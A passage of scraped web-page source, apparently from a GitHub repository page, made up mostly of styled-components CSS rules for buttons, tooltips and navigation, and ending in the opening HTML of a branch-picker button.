8px;height:28px;gap:4px;font-size:12px;}/*!sc*/\n.ftZGca[data-size=\"small\"] [data-component=\"text\"]{line-height:calc(20 / 12);}/*!sc*/\n.ftZGca[data-size=\"small\"] [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.ftZGca[data-size=\"small\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:4px;}/*!sc*/\n.ftZGca[data-size=\"small\"][data-component=IconButton]{width:28px;padding:unset;}/*!sc*/\n.ftZGca[data-size=\"large\"]{padding:0 16px;height:40px;gap:8px;}/*!sc*/\n.ftZGca[data-size=\"large\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.ftZGca[data-size=\"large\"][data-component=IconButton]{width:40px;padding:unset;}/*!sc*/\n.ftZGca[data-block=\"block\"]{width:100%;}/*!sc*/\n.ftZGca[data-inactive]:not([disabled]){background-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));border-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));color:var(--button-inactive-fgColor,var(--button-inactive-fgColor-rest,var(--color-btn-inactive-text,#57606a)));}/*!sc*/\n.ftZGca[data-inactive]:not([disabled]):focus-visible{box-shadow:none;}/*!sc*/\n.ftZGca [data-component=\"leadingVisual\"]{grid-area:leadingVisual;}/*!sc*/\n.ftZGca [data-component=\"text\"]{grid-area:text;line-height:calc(20/14);white-space:nowrap;}/*!sc*/\n.ftZGca [data-component=\"trailingVisual\"]{grid-area:trailingVisual;}/*!sc*/\n.ftZGca [data-component=\"trailingAction\"]{margin-right:-4px;}/*!sc*/\n.ftZGca [data-component=\"buttonContent\"]{-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;display:grid;grid-template-areas:\"leadingVisual text trailingVisual\";grid-template-columns:min-content minmax(0,auto) min-content;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;}/*!sc*/\n.ftZGca [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.ftZGca:hover:not([disabled]):not([data-inactive]){background-color:var(--button-default-bgColor-hover,var(--color-btn-hover-bg,#f3f4f6));border-color:var(--button-default-borderColor-hover,var(--button-default-borderColor-hover,var(--color-btn-hover-border,rgba(31,35,40,0.15))));}/*!sc*/\n.ftZGca:active:not([disabled]):not([data-inactive]){background-color:var(--button-default-bgColor-active,var(--color-btn-active-bg,hsla(220,14%,93%,1)));border-color:var(--button-default-borderColor-active,var(--button-default-borderColor-active,var(--color-btn-active-border,rgba(31,35,40,0.15))));}/*!sc*/\n.ftZGca[aria-expanded=true]{background-color:var(--button-default-bgColor-active,var(--color-btn-active-bg,hsla(220,14%,93%,1)));border-color:var(--button-default-borderColor-active,var(--button-default-borderColor-active,var(--color-btn-active-border,rgba(31,35,40,0.15))));}/*!sc*/\n.ftZGca [data-component=\"leadingVisual\"],.ftZGca [data-component=\"trailingVisual\"],.ftZGca [data-component=\"trailingAction\"]{color:var(--button-color,var(--fgColor-muted,var(--color-fg-muted,#656d76)));}/*!sc*/\n.gYvpXq{border-radius:6px;border:1px solid;border-color:var(--button-primary-borderColor-rest,var(--color-btn-primary-border,rgba(31,35,40,0.15)));font-family:inherit;font-weight:500;font-size:14px;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-text-decoration:none;text-decoration:none;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;height:32px;padding:0 12px;gap:8px;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;-webkit-transition:80ms cubic-bezier(0.65,0,0.35,1);transition:80ms cubic-bezier(0.65,0,0.35,1);-webkit-transition-property:color,fill,background-color,border-color;transition-property:color,fill,background-color,border-color;color:var(--button-primary-fgColor-rest,var(--color-btn-primary-text,#ffffff));background-color:var(--button-primary-bgColor-rest,var(--color-btn-primary-bg,#1f883d));box-shadow:var(--shadow-resting-small,var(--color-btn-primary-shadow,0 1px 0 rgba(31,35,40,0.1)));}/*!sc*/\n.gYvpXq:focus:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.gYvpXq:focus:not(:disabled):not(:focus-visible){outline:solid 1px transparent;}/*!sc*/\n.gYvpXq:focus-visible:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.gYvpXq[href]{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;}/*!sc*/\n.gYvpXq[href]:hover{-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.gYvpXq:hover{-webkit-transition-duration:80ms;transition-duration:80ms;}/*!sc*/\n.gYvpXq:active{-webkit-transition:none;transition:none;}/*!sc*/\n.gYvpXq[data-inactive]{cursor:auto;}/*!sc*/\n.gYvpXq:disabled{cursor:not-allowed;box-shadow:none;color:var(--button-primary-fgColor-disabled,var(--color-btn-primary-disabled-text,rgba(255,255,255,0.8)));background-color:var(--button-primary-bgColor-disabled,var(--color-btn-primary-disabled-bg,#94d3a2));border-color:var(--button-primary-borderColor-disabled,var(--color-btn-primary-disabled-border,rgba(31,35,40,0.15)));}/*!sc*/\n.gYvpXq:disabled [data-component=ButtonCounter]{color:inherit;}/*!sc*/\n@media (forced-colors:active){.gYvpXq:focus{outline:solid 1px transparent;}}/*!sc*/\n.gYvpXq [data-component=ButtonCounter]{font-size:12px;background-color:var(--buttonCounter-primary-bgColor-rest,var(--color-btn-primary-counter-bg,rgba(0,45,17,0.2)));color:var(--button-primary-fgColor-rest,var(--color-btn-primary-text,#ffffff));}/*!sc*/\n.gYvpXq[data-component=IconButton]{display:inline-grid;padding:unset;place-content:center;width:32px;min-width:unset;}/*!sc*/\n.gYvpXq[data-size=\"small\"]{padding:0 8px;height:28px;gap:4px;font-size:12px;}/*!sc*/\n.gYvpXq[data-size=\"small\"] [data-component=\"text\"]{line-height:calc(20 / 12);}/*!sc*/\n.gYvpXq[data-size=\"small\"] [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.gYvpXq[data-size=\"small\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:4px;}/*!sc*/\n.gYvpXq[data-size=\"small\"][data-component=IconButton]{width:28px;padding:unset;}/*!sc*/\n.gYvpXq[data-size=\"large\"]{padding:0 16px;height:40px;gap:8px;}/*!sc*/\n.gYvpXq[data-size=\"large\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.gYvpXq[data-size=\"large\"][data-component=IconButton]{width:40px;padding:unset;}/*!sc*/\n.gYvpXq[data-block=\"block\"]{width:100%;}/*!sc*/\n.gYvpXq[data-inactive]:not([disabled]){background-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));border-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));color:var(--button-inactive-fgColor,var(--button-inactive-fgColor-rest,var(--color-btn-inactive-text,#57606a)));}/*!sc*/\n.gYvpXq[data-inactive]:not([disabled]):focus-visible{box-shadow:none;}/*!sc*/\n.gYvpXq [data-component=\"leadingVisual\"]{grid-area:leadingVisual;}/*!sc*/\n.gYvpXq [data-component=\"text\"]{grid-area:text;line-height:calc(20/14);white-space:nowrap;}/*!sc*/\n.gYvpXq [data-component=\"trailingVisual\"]{grid-area:trailingVisual;}/*!sc*/\n.gYvpXq [data-component=\"trailingAction\"]{margin-right:-4px;}/*!sc*/\n.gYvpXq [data-component=\"buttonContent\"]{-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;display:grid;grid-template-areas:\"leadingVisual text trailingVisual\";grid-template-columns:min-content minmax(0,auto) min-content;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;}/*!sc*/\n.gYvpXq [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.gYvpXq:hover:not([disabled]):not([data-inactive]){color:btn.primary.hoverText;background-color:var(--button-primary-bgColor-hover,var(--color-btn-primary-hover-bg,#1a7f37));}/*!sc*/\n.gYvpXq:focus:not([disabled]){box-shadow:inset 0 0 0 3px;}/*!sc*/\n.gYvpXq:focus-visible:not([disabled]){box-shadow:inset 0 0 0 3px;}/*!sc*/\n.gYvpXq:active:not([disabled]):not([data-inactive]){background-color:var(--button-primary-bgColor-active,var(--color-btn-primary-selected-bg,hsla(137,66%,28%,1)));box-shadow:var(--button-primary-shadow-selected,var(--color-btn-primary-selected-shadow,inset 0 1px 0 rgba(0,45,17,0.2)));}/*!sc*/\n.gYvpXq[aria-expanded=true]{background-color:var(--button-primary-bgColor-active,var(--color-btn-primary-selected-bg,hsla(137,66%,28%,1)));box-shadow:var(--button-primary-shadow-selected,var(--color-btn-primary-selected-shadow,inset 0 1px 0 rgba(0,45,17,0.2)));}/*!sc*/\n.gYvpXq svg{color:fg.primary;}/*!sc*/\n.fAkXQN{border-radius:6px;border:1px solid;border-color:transparent;font-family:inherit;font-weight:500;font-size:14px;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-text-decoration:none;text-decoration:none;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;height:32px;padding:0 12px;gap:8px;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;-webkit-transition:80ms cubic-bezier(0.65,0,0.35,1);transition:80ms cubic-bezier(0.65,0,0.35,1);-webkit-transition-property:color,fill,background-color,border-color;transition-property:color,fill,background-color,border-color;color:var(--fgColor-default,var(--color-fg-default,#1F2328));background-color:transparent;box-shadow:none;}/*!sc*/\n.fAkXQN:focus:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.fAkXQN:focus:not(:disabled):not(:focus-visible){outline:solid 1px transparent;}/*!sc*/\n.fAkXQN:focus-visible:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.fAkXQN[href]{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;}/*!sc*/\n.fAkXQN[href]:hover{-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.fAkXQN:hover{-webkit-transition-duration:80ms;transition-duration:80ms;}/*!sc*/\n.fAkXQN:active{-webkit-transition:none;transition:none;}/*!sc*/\n.fAkXQN[data-inactive]{cursor:auto;}/*!sc*/\n.fAkXQN:disabled{cursor:not-allowed;box-shadow:none;color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));}/*!sc*/\n.fAkXQN:disabled [data-component=ButtonCounter],.fAkXQN:disabled [data-component=\"leadingVisual\"],.fAkXQN:disabled [data-component=\"trailingAction\"]{color:inherit;}/*!sc*/\n@media (forced-colors:active){.fAkXQN:focus{outline:solid 1px transparent;}}/*!sc*/\n.fAkXQN [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.fAkXQN[data-component=IconButton]{display:inline-grid;padding:unset;place-content:center;width:32px;min-width:unset;}/*!sc*/\n.fAkXQN[data-size=\"small\"]{padding:0 8px;height:28px;gap:4px;font-size:12px;}/*!sc*/\n.fAkXQN[data-size=\"small\"] [data-component=\"text\"]{line-height:calc(20 / 12);}/*!sc*/\n.fAkXQN[data-size=\"small\"] [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.fAkXQN[data-size=\"small\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:4px;}/*!sc*/\n.fAkXQN[data-size=\"small\"][data-component=IconButton]{width:28px;padding:unset;}/*!sc*/\n.fAkXQN[data-size=\"large\"]{padding:0 16px;height:40px;gap:8px;}/*!sc*/\n.fAkXQN[data-size=\"large\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.fAkXQN[data-size=\"large\"][data-component=IconButton]{width:40px;padding:unset;}/*!sc*/\n.fAkXQN[data-block=\"block\"]{width:100%;}/*!sc*/\n.fAkXQN[data-inactive]:not([disabled]){background-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));border-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));color:var(--button-inactive-fgColor,var(--button-inactive-fgColor-rest,var(--color-btn-inactive-text,#57606a)));}/*!sc*/\n.fAkXQN[data-inactive]:not([disabled]):focus-visible{box-shadow:none;}/*!sc*/\n.fAkXQN [data-component=\"leadingVisual\"]{grid-area:leadingVisual;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.fAkXQN [data-component=\"text\"]{grid-area:text;line-height:calc(20/14);white-space:nowrap;}/*!sc*/\n.fAkXQN [data-component=\"trailingVisual\"]{grid-area:trailingVisual;}/*!sc*/\n.fAkXQN [data-component=\"trailingAction\"]{margin-right:-4px;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.fAkXQN [data-component=\"buttonContent\"]{-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;display:grid;grid-template-areas:\"leadingVisual text trailingVisual\";grid-template-columns:min-content minmax(0,auto) min-content;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;}/*!sc*/\n.fAkXQN [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.fAkXQN:hover:not([disabled]){background-color:var(--control-transparent-bgColor-hover,var(--color-action-list-item-default-hover-bg,rgba(208,215,222,0.32)));-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.fAkXQN:active:not([disabled]){background-color:var(--control-transparent-bgColor-active,var(--color-action-list-item-default-active-bg,rgba(208,215,222,0.48)));-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.fAkXQN[aria-expanded=true]{background-color:var(--control-transparent-bgColor-selected,var(--color-action-list-item-default-selected-bg,rgba(208,215,222,0.24)));}/*!sc*/\n.fAkXQN[data-component=\"IconButton\"][data-no-visuals]{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.fAkXQN[data-no-visuals]{color:var(--fgColor-accent,var(--color-accent-fg,#0969da));}/*!sc*/\n.fAkXQN:has([data-component=\"ButtonCounter\"]){color:var(--button-default-fgColor-rest,var(--color-btn-text,#24292f));}/*!sc*/\n.fAkXQN:disabled[data-no-visuals]{color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));}/*!sc*/\n.fAkXQN:disabled[data-no-visuals] [data-component=ButtonCounter]{color:inherit;}/*!sc*/\n.fAkXQN:focus:not([disabled]){-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.jPraEl{border-radius:6px;border:1px solid;border-color:transparent;font-family:inherit;font-weight:500;font-size:14px;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-text-decoration:none;text-decoration:none;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;height:32px;padding:0 12px;gap:8px;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;-webkit-transition:80ms cubic-bezier(0.65,0,0.35,1);transition:80ms cubic-bezier(0.65,0,0.35,1);-webkit-transition-property:color,fill,background-color,border-color;transition-property:color,fill,background-color,border-color;color:var(--button-default-fgColor-rest,var(--color-btn-text,#24292f));background-color:transparent;box-shadow:none;}/*!sc*/\n.jPraEl:focus:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.jPraEl:focus:not(:disabled):not(:focus-visible){outline:solid 1px transparent;}/*!sc*/\n.jPraEl:focus-visible:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.jPraEl[href]{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;}/*!sc*/\n.jPraEl[href]:hover{-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.jPraEl:hover{-webkit-transition-duration:80ms;transition-duration:80ms;}/*!sc*/\n.jPraEl:active{-webkit-transition:none;transition:none;}/*!sc*/\n.jPraEl[data-inactive]{cursor:auto;}/*!sc*/\n.jPraEl:disabled{cursor:not-allowed;box-shadow:none;color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));}/*!sc*/\n.jPraEl:disabled [data-component=ButtonCounter],.jPraEl:disabled [data-component=\"leadingVisual\"],.jPraEl:disabled [data-component=\"trailingAction\"]{color:inherit;}/*!sc*/\n@media (forced-colors:active){.jPraEl:focus{outline:solid 1px transparent;}}/*!sc*/\n.jPraEl [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.jPraEl[data-component=IconButton]{display:inline-grid;padding:unset;place-content:center;width:32px;min-width:unset;}/*!sc*/\n.jPraEl[data-size=\"small\"]{padding:0 8px;height:28px;gap:4px;font-size:12px;}/*!sc*/\n.jPraEl[data-size=\"small\"] [data-component=\"text\"]{line-height:calc(20 / 12);}/*!sc*/\n.jPraEl[data-size=\"small\"] [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.jPraEl[data-size=\"small\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:4px;}/*!sc*/\n.jPraEl[data-size=\"small\"][data-component=IconButton]{width:28px;padding:unset;}/*!sc*/\n.jPraEl[data-size=\"large\"]{padding:0 16px;height:40px;gap:8px;}/*!sc*/\n.jPraEl[data-size=\"large\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.jPraEl[data-size=\"large\"][data-component=IconButton]{width:40px;padding:unset;}/*!sc*/\n.jPraEl[data-block=\"block\"]{width:100%;}/*!sc*/\n.jPraEl[data-inactive]:not([disabled]){background-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));border-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));color:var(--button-inactive-fgColor,var(--button-inactive-fgColor-rest,var(--color-btn-inactive-text,#57606a)));}/*!sc*/\n.jPraEl[data-inactive]:not([disabled]):focus-visible{box-shadow:none;}/*!sc*/\n.jPraEl [data-component=\"leadingVisual\"]{grid-area:leadingVisual;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.jPraEl [data-component=\"text\"]{grid-area:text;line-height:calc(20/14);white-space:nowrap;}/*!sc*/\n.jPraEl [data-component=\"trailingVisual\"]{grid-area:trailingVisual;}/*!sc*/\n.jPraEl [data-component=\"trailingAction\"]{margin-right:-4px;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.jPraEl [data-component=\"buttonContent\"]{-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;display:grid;grid-template-areas:\"leadingVisual text trailingVisual\";grid-template-columns:min-content minmax(0,auto) min-content;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;}/*!sc*/\n.jPraEl [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.jPraEl:hover:not([disabled]){background-color:var(--control-transparent-bgColor-hover,var(--color-action-list-item-default-hover-bg,rgba(208,215,222,0.32)));}/*!sc*/\n.jPraEl:active:not([disabled]){background-color:var(--control-transparent-bgColor-active,var(--color-action-list-item-default-active-bg,rgba(208,215,222,0.48)));}/*!sc*/\n.jPraEl[aria-expanded=true]{background-color:var(--control-transparent-bgColor-selected,var(--color-action-list-item-default-selected-bg,rgba(208,215,222,0.24)));}/*!sc*/\n.jPraEl[data-component=\"IconButton\"][data-no-visuals]{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.jPraEl[data-no-visuals]{color:var(--fgColor-accent,var(--color-accent-fg,#0969da));}/*!sc*/\n.jPraEl:has([data-component=\"ButtonCounter\"]){color:var(--button-default-fgColor-rest,var(--color-btn-text,#24292f));}/*!sc*/\n.jPraEl:disabled[data-no-visuals]{color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));}/*!sc*/\n.jPraEl:disabled[data-no-visuals] [data-component=ButtonCounter]{color:inherit;}/*!sc*/\n.jPraEl{color:var(--fgColor-muted,var(--color-fg-subtle,#6e7781));padding-left:8px;padding-right:8px;}/*!sc*/\ndata-styled.g9[id=\"types__StyledButton-sc-ws60qy-0\"]{content:\"izDscS,cuOWTR,tDSzd,ftZGca,gYvpXq,fAkXQN,jPraEl,\"}/*!sc*/\n.rTZSs{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;-webkit-clip:rect(0,0,0,0);clip:rect(0,0,0,0);white-space:nowrap;border-width:0;}/*!sc*/\ndata-styled.g10[id=\"_VisuallyHidden__VisuallyHidden-sc-11jhm7a-0\"]{content:\"rTZSs,\"}/*!sc*/\n.fUpWeN{display:inline-block;overflow:hidden;text-overflow:ellipsis;vertical-align:top;white-space:nowrap;max-width:125px;max-width:100%;}/*!sc*/\ndata-styled.g15[id=\"Truncate__StyledTruncate-sc-23o1d2-0\"]{content:\"fUpWeN,\"}/*!sc*/\n.dMjscx{position:relative;display:inline-block;}/*!sc*/\n.dMjscx::before{position:absolute;z-index:1000001;display:none;width:0px;height:0px;color:var(--bgColor-emphasis,var(--color-neutral-emphasis-plus,#24292f));pointer-events:none;content:'';border:6px solid transparent;opacity:0;}/*!sc*/\n.dMjscx::after{position:absolute;z-index:1000000;display:none;padding:0.5em 0.75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,\"Segoe UI\",\"Noto Sans\",Helvetica,Arial,sans-serif,\"Apple Color Emoji\",\"Segoe UI Emoji\";-webkit-font-smoothing:subpixel-antialiased;color:var(--fgColor-onEmphasis,var(--color-fg-on-emphasis,#ffffff));text-align:center;-webkit-text-decoration:none;text-decoration:none;text-shadow:none;text-transform:none;-webkit-letter-spacing:normal;-moz-letter-spacing:normal;-ms-letter-spacing:normal;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--bgColor-emphasis,var(--color-neutral-emphasis-plus,#24292f));border-radius:6px;opacity:0;}/*!sc*/\n@-webkit-keyframes tooltip-appear{from{opacity:0;}to{opacity:1;}}/*!sc*/\n@keyframes tooltip-appear{from{opacity:0;}to{opacity:1;}}/*!sc*/\n.dMjscx:hover::before,.dMjscx:active::before,.dMjscx:focus::before,.dMjscx:focus-within::before,.dMjscx:hover::after,.dMjscx:active::after,.dMjscx:focus::after,.dMjscx:focus-within::after{display:inline-block;-webkit-text-decoration:none;text-decoration:none;-webkit-animation-name:tooltip-appear;animation-name:tooltip-appear;-webkit-animation-duration:0.1s;animation-duration:0.1s;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;-webkit-animation-delay:0.4s;animation-delay:0.4s;}/*!sc*/\n.dMjscx.tooltipped-no-delay:hover::before,.dMjscx.tooltipped-no-delay:active::before,.dMjscx.tooltipped-no-delay:focus::before,.dMjscx.tooltipped-no-delay:focus-within::before,.dMjscx.tooltipped-no-delay:hover::after,.dMjscx.tooltipped-no-delay:active::after,.dMjscx.tooltipped-no-delay:focus::after,.dMjscx.tooltipped-no-delay:focus-within::after{-webkit-animation-delay:0s;animation-delay:0s;}/*!sc*/\n.dMjscx.tooltipped-multiline:hover::after,.dMjscx.tooltipped-multiline:active::after,.dMjscx.tooltipped-multiline:focus::after,.dMjscx.tooltipped-multiline:focus-within::after{display:table-cell;}/*!sc*/\n.dMjscx.tooltipped-s::after,.dMjscx.tooltipped-se::after,.dMjscx.tooltipped-sw::after{top:100%;right:50%;margin-top:6px;}/*!sc*/\n.dMjscx.tooltipped-s::before,.dMjscx.tooltipped-se::before,.dMjscx.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--bgColor-emphasis,var(--color-neutral-emphasis-plus,#24292f));}/*!sc*/\n.dMjscx.tooltipped-se::after{right:auto;left:50%;margin-left:-16px;}/*!sc*/\n.dMjscx.tooltipped-sw::after{margin-right:-16px;}/*!sc*/\n.dMjscx.tooltipped-n::after,.dMjscx.tooltipped-ne::after,.dMjscx.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px;}/*!sc*/\n.dMjscx.tooltipped-n::before,.dMjscx.tooltipped-ne::before,.dMjscx.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--bgColor-emphasis,var(--color-neutral-emphasis-plus,#24292f));}/*!sc*/\n.dMjscx.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px;}/*!sc*/\n.dMjscx.tooltipped-nw::after{margin-right:-16px;}/*!sc*/\n.dMjscx.tooltipped-s::after,.dMjscx.tooltipped-n::after{-webkit-transform:translateX(50%);-ms-transform:translateX(50%);transform:translateX(50%);}/*!sc*/\n.dMjscx.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;-webkit-transform:translateY(50%);-ms-transform:translateY(50%);transform:translateY(50%);}/*!sc*/\n.dMjscx.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--bgColor-emphasis,var(--color-neutral-emphasis-plus,#24292f));}/*!sc*/\n.dMjscx.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;-webkit-transform:translateY(50%);-ms-transform:translateY(50%);transform:translateY(50%);}/*!sc*/\n.dMjscx.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--bgColor-emphasis,var(--color-neutral-emphasis-plus,#24292f));}/*!sc*/\n.dMjscx.tooltipped-multiline::after{width:-webkit-max-content;width:-moz-max-content;width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate;}/*!sc*/\n.dMjscx.tooltipped-multiline.tooltipped-s::after,.dMjscx.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);}/*!sc*/\n.dMjscx.tooltipped-multiline.tooltipped-w::after,.dMjscx.tooltipped-multiline.tooltipped-e::after{right:100%;}/*!sc*/\n.dMjscx.tooltipped-align-right-2::after{right:0;margin-right:0;}/*!sc*/\n.dMjscx.tooltipped-align-right-2::before{right:15px;}/*!sc*/\n.dMjscx.tooltipped-align-left-2::after{left:0;margin-left:0;}/*!sc*/\n.dMjscx.tooltipped-align-left-2::before{left:10px;}/*!sc*/\ndata-styled.g18[id=\"Tooltip__TooltipBase-sc-17tf59c-0\"]{content:\"dMjscx,\"}/*!sc*/\n.bPgibo{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;list-style:none;white-space:nowrap;padding-top:0;padding-bottom:0;padding-left:0;padding-right:0;margin:0;margin-bottom:-1px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;gap:8px;position:relative;}/*!sc*/\ndata-styled.g103[id=\"UnderlineNav__NavigationList-sc-1jfr31k-0\"]{content:\"bPgibo,\"}/*!sc*/\n</style> <!-- --> <!-- --> <div class=\"Box-sc-g0xbh4-0 izjvBm\"><div class=\"Box-sc-g0xbh4-0 rPQgy\"><div class=\"Box-sc-g0xbh4-0 eUMEDg\"></div></div><div class=\"Box-sc-g0xbh4-0 eLcVee\"><div class=\"Box-sc-g0xbh4-0 hsfLlq\"><div class=\"Box-sc-g0xbh4-0 gpKoUz\"><button type=\"button\" id=\"branch-picker-repos-header-ref-selector\" aria-haspopup=\"true\" tabindex=\"0\" aria-label=\"main branch\" data-testid=\"anchor-button\" class=\"types__StyledButton-sc-ws60qy-0 izDscS overview-ref-selector\"><span data-component=\"buttonContent\" class=\"Box-sc-g0xbh4-0 kkrdEu\"><span data-component=\"text\"><div class=\"Box-sc-g0xbh4-0 bKgizp\"><div class=\"Box-sc-g0xbh4-0 iPGYsi\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-git-branch\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 